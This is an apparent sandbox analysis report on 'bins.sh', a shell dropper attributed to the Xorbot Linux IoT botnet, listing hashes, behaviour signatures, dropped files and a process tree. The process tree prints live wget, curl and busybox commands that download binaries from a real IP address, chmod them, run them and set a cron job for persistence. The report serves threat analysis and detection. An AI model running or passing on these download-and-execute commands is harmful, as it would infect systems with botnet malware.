Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-12-2024 08:23

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cf70d58f95757ee8960c21dc3c7551eb

  • SHA1

    0c40b1cd7245f052bf82533610cb2d05b9ed349f

  • SHA256

    3d0da0f02fc31c2ea115a328dc878c8b41ff796faab9348025f38520d6ddb315

  • SHA512

    5eacf2de8727fc9fc5e44885fcb310e06826869079d0e8fdf752cbe4eab4cb7403f261657a15c31279eb0e14411b4c03ba0054c45d6c54ea60c4cb538ddf7941

  • SSDEEP

    192:0VdnWFAfPfLfluf6B2Ik8VF+UIk8VFFfPfLfluf6RL:0VdnWF0aDL

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1483
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1484
        • /usr/bin/wget
          wget http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Writes file to tmp directory
          PID:1485
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /bin/chmod
          chmod 777 YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          ./YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Executes dropped EXE
          PID:1508
        • /bin/rm
          rm YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
            PID:1510
          • /usr/bin/wget
            wget http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            2⤵
            • Writes file to tmp directory
            PID:1511
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /bin/chmod
            chmod 777 K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            2⤵
            • File and Directory Permissions Modification
            PID:1515
          • /tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            ./K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            2⤵
            • Executes dropped EXE
            PID:1516
          • /bin/rm
            rm K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
            2⤵
              PID:1518
            • /usr/bin/wget
              wget http://216.126.231.240/bins/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /bin/chmod
              chmod 777 8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              2⤵
              • File and Directory Permissions Modification
              PID:1522
            • /tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              ./8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              2⤵
              • Executes dropped EXE
              PID:1523
            • /bin/rm
              rm 8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE
              2⤵
                PID:1525
              • /usr/bin/wget
                wget http://216.126.231.240/bins/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /bin/chmod
                chmod 777 YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                2⤵
                • File and Directory Permissions Modification
                PID:1529
              • /tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                ./YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                2⤵
                • Executes dropped EXE
                PID:1530
              • /bin/rm
                rm YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ
                2⤵
                  PID:1532
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  2⤵
                  • Writes file to tmp directory
                  PID:1534
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  2⤵
                  • Writes file to tmp directory
                  PID:1535
                • /bin/chmod
                  chmod 777 ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1536
                • /tmp/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  ./ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  2⤵
                  • Executes dropped EXE
                  PID:1537
                • /bin/rm
                  rm ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2
                  2⤵
                    PID:1539
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    2⤵
                    • Writes file to tmp directory
                    PID:1541
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    2⤵
                    • Writes file to tmp directory
                    PID:1542
                  • /bin/chmod
                    chmod 777 HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1543
                  • /tmp/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    ./HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    2⤵
                    • Executes dropped EXE
                    PID:1544
                  • /bin/rm
                    rm HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU
                    2⤵
                      PID:1546
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                      2⤵
                      • Writes file to tmp directory
                      PID:1547
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                      2⤵
                      • Writes file to tmp directory
                      PID:1548
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                      2⤵
                      • Writes file to tmp directory
                      PID:1549
                    • /bin/chmod
                      chmod 777 j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1550
                    • /tmp/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                      ./j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1551
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1553
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1554
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1555
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1556
                          • /bin/rm
                            rm j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb
                            2⤵
                              PID:1558
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/spncbAA2QBmNetXMunX4BroE225fGFXuQH
                              2⤵
                                PID:1561

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/8cbRzOfJ9DWi1BDnOvNe1W4JkmR6O1eLnE

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/HcJ5LLlCZYiwYnGfN1aMNCLMcNwxE2IXyU

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/YfcrBzOepYsuOxIVKGuFkH7tfScaT20TpJ

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/ifJZsezso3KdsiG0NlKKRr3nVEnSb4hDF2

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/j6nkWEazgNQkML9VfCygdW3nIYpDVwc6zb

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /var/spool/cron/crontabs/tmp.n9nYP9

                              Filesize

                              210B

                              MD5

                              5abcb477436de04f45da444ebd473a12

                              SHA1

                              ffb565db474e35d2d048a601add28c265e76da82

                              SHA256

                              0dec3a0b6d9aec9e279545b5cc99e201d858cbd56280e89fa83066a3cc1e7e52

                              SHA512

                              245044ee29ba6276e4bcb5f72a0671e703e09e9d4465094ddeebcc41cdbfc1a631c8108a2beaf521c6b812842a76b8964d5b75f45415832eea9b78287e42e777